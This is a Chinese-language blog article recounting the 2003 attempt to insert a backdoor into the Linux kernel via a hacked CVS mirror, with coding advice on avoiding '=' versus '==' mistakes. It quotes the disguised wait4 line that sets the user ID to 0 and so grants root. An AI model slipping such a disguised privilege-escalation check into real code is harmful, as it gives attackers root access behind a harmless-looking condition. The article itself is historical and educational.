如何在Linux中安插一个后门?

发布时间:2025-10-24 点击:2
linux内核是开源的代码,能不能向其中安插一个后门呢?这是一件难度很高的操作,但是有人却差点儿成功了,我们来看看这是怎么回事。
时间回到2003年,当时linux内核的代码主仓库保存在一个叫做bitkeeper的商业软件中。如果想对linux内核代码进行修改的话,需要走一个审批流程,以此来确定这次更改能否被接受。每一次更改都有一个简单的说明,其中包含一个指向审批记录的链接。
但是有些人不喜欢bitkeeper(堂堂的linux怎么能保存在闭源的商业软件中?!), 于是一个cvs(估计好多人都没听说过它了吧)被建立了起来,其中保存着从bitkeeper clone来的代码, 这样开发人员可以用开源的cvs来访问linux代码。
2003年11月5号,larry mcvoy 注意到了一件怪事,cvs中的一个代码变更没有包含审批记录的链接, 这是怎么回事?
经过一番调查发现:从来没有人批准过这个代码变更,奇怪的是,这个代码变更并没有出现在bitkeeper主仓库中,原来是有人黑进了cvs的服务器,偷偷插入了一段代码。这段代码到底做了什么事情呢?
这段代码修改了一个叫做wait4的linux函数,程序可以使用wait4来等待一些事情的发生,这个代码变更增加了这么两行:
if ((options == (__wclone|__wall)) && (current->uid = 0)) retval = -einval;
(代码可左右滑动,懂得c语言的同学可以思考下,这段代码有什么不寻常的?)
粗一看这段代码,就会觉得这没啥啊?不就是做一点条件检查吗,不满足条件就返回错误。
但是仔细看看就会发现事情不对,第一行的最后, 有个current->uid=0, 而不是 current->uid == 0 。
正常的写法应该是“==0”, 就是检查当前的用户id是不是0, 写成“=0”就是把当前用户id设置为0 , 而id为0的用户是root !
这就意味着,如果这段代码被执行,当前用户就会变成root,可以在系统中为所欲为!
这其实是个经典的后门, 想象一个,一个黑客在linux运行了一个程序,这个程序调用了wait4, 然后这个黑客突然间具备了root权限!
这个后门可是真够聪明的,伪装成了条件检查,试图蒙混过关,如果一直没人发现会怎么样呢?
首先,后门存在cvs中,不在bitkeeper的主仓库中,从bitkeeper 代码库build出的linux肯定没问题, 但是如果有人从cvs代码库中build了linux, 那就中招了。
其次,搞破坏的家伙可能有这样的预期:有个被linus torvalds所信任的内核开发者,他讨厌bitkeeper,并且在使用cvs, 那当他修改了代码,准备通过邮件的方式向linus torvalds发送patch的时候发现,咦,wait4这里也有个code change, 是做条件检查的,也包括进去吧。linus收到补丁,一看是自己信任的兄弟提交的,没有仔细检查,于是后门代码进入了主代码仓库。
这当然是猜测的场景,也算是一种社会工程学攻击吧,不过linux团队非常小心,把这个后门给揪了出来。
故事到这里就可以结束了,再就这个话题扩展一下,多说两句。
我记得刚工作的时候,有个同事给我说,在c语言中,当需要和0比较的时候,可以把0放到前面,这么写:
if( 0 == user_id){ ....... }
这样即使把 == 写成了 = , 编译器就会发现错误。我当时觉得挺古怪的,把一个数字放到前面,变量放到后面。后来习惯了,在java 也经常会这样写 if (null == user){ ...... }
其实现在的ide都很智能了,像这种把==写成=的情况,ide就可以给出警告。即使没有用ide,如果对源码做静态的代码分析,也会被抓出来的警告的。
linux是开源的代码,任何人,只要你愿意,都可以查看所有的代码,这相当于把linux放到了阳光底下,无数双眼睛都盯着看,这种透明度使得在其中安插一个后门是非常难的。


网站制作价格过低不可信,最便宜需多少钱
网站排名需要考虑的SEO优化因素是什么?
网站制作应该有哪些功能?
「新站优化」新站优化有什么必须留意的
谷百优研究所网站推广方案之群软聊推广
SSL证书有什么作用?
美国专用服务器是什么?在线购买美国专用服务器时需要考虑的因素
开封网站建设如何做受青睐?